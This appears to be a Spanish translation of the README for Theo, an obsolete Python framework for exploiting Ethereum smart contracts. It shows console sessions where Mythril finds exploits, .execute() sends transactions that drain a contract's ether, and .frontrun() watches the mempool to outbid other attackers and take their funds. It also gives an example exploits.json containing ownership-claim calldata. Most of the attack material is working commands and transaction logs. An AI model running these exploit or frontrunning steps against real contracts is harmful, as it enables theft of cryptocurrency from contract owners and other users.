Theo

Obsoleto, ya no se mantiene, no lo instales, no lo uses, ¡estás advertido!

License

Theo pretende ser un framework de explotación y una herramienta de reconocimiento e interacción con blockchain.

Características:

Escaneo automático de contratos inteligentes que genera una lista de posibles exploits.
Envío de transacciones para explotar un contrato inteligente.
Monitor del pool de transacciones.
Consola Web3.
Ejecución anticipada y posterior de transacciones (frontrunning y backrunning).
Esperar una lista de transacciones y enviar otras.
Estimar el gas de las transacciones para que solo se envíen las exitosas.
Deshabilitar la estimación de gas enviará transacciones con una cantidad fija de gas.

Conoce a Karl del trabajo.

El propósito de Theo es luchar contra los script kiddies que intentan ser hackers leet. Puede escucharlos mientras intentan explotar sus honeypots y hacer que pierdan sus fondos, para su propio beneficio.

"No me trajiste por mi personalidad encantadora."

Instalación

Theo está disponible como paquete de PyPI:

$ pip install theo
$ theo --help
usage: theo [-h] [--rpc-http RPC_HTTP] [--rpc-ws RPC_WS] [--rpc-ipc RPC_IPC]
            [--account-pk ACCOUNT_PK] [--contract ADDRESS]
            [--skip-mythril SKIP_MYTHRIL] [--load-file LOAD_FILE] [--version]

Monitor contracts for balance changes or tx pool.

optional arguments:
  -h, --help            show this help message and exit
  --rpc-http RPC_HTTP   Connect to this HTTP RPC (default:
                        http://127.0.0.1:8545)
  --account-pk ACCOUNT_PK
                        The account's private key (default: None)
  --contract ADDRESS    Contract to monitor (default: None)
  --skip-mythril SKIP_MYTHRIL
                        Don't try to find exploits with Mythril (default:
                        False)
  --load-file LOAD_FILE
                        Load exploit from file (default: )
  --version             show program's version number and exit

RPC connections:
  --rpc-ws RPC_WS       Connect to this WebSockets RPC (default: None)
  --rpc-ipc RPC_IPC     Connect to this IPC RPC (default: None)

Instalar desde fuentes:

$ git clone https://github.com/cleanunicorn/theo
$ cd theo
$ virtualenv ./venv
$ . ./venv/bin/activate
$ pip install -r requirements.txt
$ pip install -e .
$ theo --help

Requisitos:

Python 3.5 o superior.
Un nodo Ethereum con RPC disponible. Ganache funciona muy bien para pruebas o para validar exploits.

Demos

Encontrar exploit y ejecutarlo

Escanea un contrato inteligente, encuentra exploits, explota:

Iniciar Ganache como nuestro nodo Ethereum local.
Desplegar el contrato vulnerable (ocurre en otra ventana).
Escanear en busca de exploits.
Ejecutar el exploit.

Ejecución anticipada de víctima

Configurar un honeypot, desplegarlo, esperar al atacante, ejecución anticipada:

Iniciar geth como nodo Ethereum local.
Iniciar minería.
Desplegar el honeypot.
Iniciar Theo y escanear el mem pool en busca de transacciones.
Ejecución anticipada del atacante y robar su ether.

Uso

Pantalla de ayuda

Es buena idea revisar primero la pantalla de ayuda.

$ theo --help
usage: theo [-h] [--rpc-http RPC_HTTP] [--rpc-ws RPC_WS] [--rpc-ipc RPC_IPC]
            [--account-pk ACCOUNT_PK] [--contract ADDRESS] [--skip-mythril]
            [--load-file LOAD_FILE] [--version]

Monitor contracts for balance changes or tx pool.

optional arguments:
  -h, --help            show this help message and exit
  --rpc-http RPC_HTTP   Connect to this HTTP RPC (default:
                        http://127.0.0.1:8545)
  --account-pk ACCOUNT_PK
                        The account's private key (default: None)
  --contract ADDRESS    Contract to interact with (default: None)
  --skip-mythril        Skip scanning the contract with Mythril (default:
                        False)
  --load-file LOAD_FILE
                        Load exploit from file (default: )
  --version             show program's version number and exit

RPC connections:
  --rpc-ws RPC_WS       Connect to this WebSockets RPC (default: None)
  --rpc-ipc RPC_IPC     Connect to this IPC RPC (default: None)

Ejecución simbólica

Se identifica automáticamente una lista de exploits usando mythril.

Inicia una sesión ejecutando:

$ theo --contract=<scanned contract> --account-pk=<your private key>
Scanning for exploits in contract: 0xa586074fa4fe3e546a132a16238abe37951d41fe
Connecting to HTTP: http://127.0.0.1:8545.
Found exploits(s):
 [Exploit: (txs=[Transaction {Data: 0xcf7a8965, Value: 1000000000000000000}])]

A few objects are available in the console:
- `exploits` is an array of loaded exploits found by Mythril or read from a file
- `w3` an initialized instance of web3py for the provided HTTP RPC endpoint

Check the readme for more info:
https://github.com/cleanunicorn/theo

>>>

Analizará el contrato y encontrará una lista de exploits disponibles.

Puedes ver los exploits disponibles encontrados. En este caso se encontró un exploit. Cada exploit es un objeto Exploit.

>>> exploits[0]
Exploit: (txs=[Transaction: {'input': '0xcf7a8965', 'value': '0xde0b6b3a7640000'}])

Ejecutar exploits

Los pasos del exploit se pueden ejecutar llamando a .execute() en el objeto exploit. Las transacciones se firmarán y enviarán al nodo al que estás conectado.

>>> exploits[0].execute()
2019-07-22 11:26:12,196 - Sending tx: {'to': '0xA586074FA4Fe3E546A132a16238abe37951D41fE', 'gasPrice': 1, 'gas': 30521, 'value': 1000000000000000000, 'data': '0xcf7a8965', 'nonce': 47} 
2019-07-22 11:26:12,200 - Waiting for 0x41b489c78f654cab0b0451fc573010ddb20ee6437cdbf5098b6b03ee1936c33c to be mined... 
2019-07-22 11:26:16,337 - Mined 
2019-07-22 11:26:16,341 - Initial balance:      1155999450759997797167 (1156.00 ether) 
2019-07-22 11:26:16,342 - Final balance:        1156999450759997768901 (1157.00 ether)

Ejecución anticipada

Puedes iniciar el monitor de ejecución anticipada para escuchar a otros hackers que intentan explotar el honeypot.

Usa .frontrun() para comenzar a escuchar el exploit y, cuando se encuentre, enviar una transacción con un precio de gas más alto.

>>> exploits[0].frontrun()
2019-07-22 11:22:26,285 - Scanning the mem pool for transactions... 
2019-07-22 11:22:45,369 - Found tx: 0xf6041abe6e547cea93e80a451fdf53e6bdae67820244246fde44098f91ce1c20 
2019-07-22 11:22:45,375 - Sending tx: {'to': '0xA586074FA4Fe3E546A132a16238abe37951D41fE', 'gasPrice': '0x2', 'data': '0xcf7a8965', 'gas': 30522, 'value': 1000000000000000000, 'nonce': 45} 
2019-07-22 11:22:45,380 - Waiting for 0xa73316daf806e7eef83d09e467c32ce5faa239c6eda3a270a8ce7a7aae48fb7e to be mined... 
2019-07-22 11:22:56,852 - Mined

"¡Oh, Dios mío! ¡El quarterback está tostado!"

Esto funciona muy bien para algunos contratos especialmente diseñados u otros contratos vulnerables, siempre y cuando te asegures de que la ejecución anticipada juegue a tu favor.

Cargar transacciones desde archivo

En lugar de identificar los exploits con mythril, puedes especificar la lista de exploits tú mismo.

Crea un archivo con este formato exploits.json:

[
    [
        {
            "name": "claimOwnership()",
            "input": "0x4e71e0c8",
            "value": "0xde0b6b3a7640000"
        },
        {
            "name": "retrieve()",
            "input": "0x2e64cec1",
            "value": "0x0"
        }
    ],
    [
        {
            "name": "claimOwnership()",
            "input": "0x4e71e0c8",
            "value": "0xde0b6b3a7640000"
        }
    ]
]

Este define 2 exploits, el primero tiene 2 transacciones y el segundo solo 1.

Puedes cargarlo con:

$ theo --load-file=./exploits.json

Solución de problemas

openssl/aes.h: No such file or directory

Si obtienes este error, necesitas las bibliotecas fuente de libssl:

    scrypt-1.2.1/libcperciva/crypto/crypto_aes.c:6:10: fatal error: openssl/aes.h: No such file or directory
     #include <openssl/aes.h>
              ^~~~~~~~~~~~~~~
    compilation terminated.
    error: command 'x86_64-linux-gnu-gcc' failed with exit status 1
    
    ----------------------------------------
Command "/usr/bin/python3 -u -c "import setuptools, tokenize;__file__='/tmp/pip-build-5rl4ep94/scrypt/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record /tmp/pip-mnbzx9qe-record/install-record.txt --single-version-externally-managed --compile" failed with error code 1 in /tmp/pip-build-5rl4ep94/scrypt/

En Ubuntu puedes instalarlas con:

$ sudo apt install libssl-dev

theo

Más Populares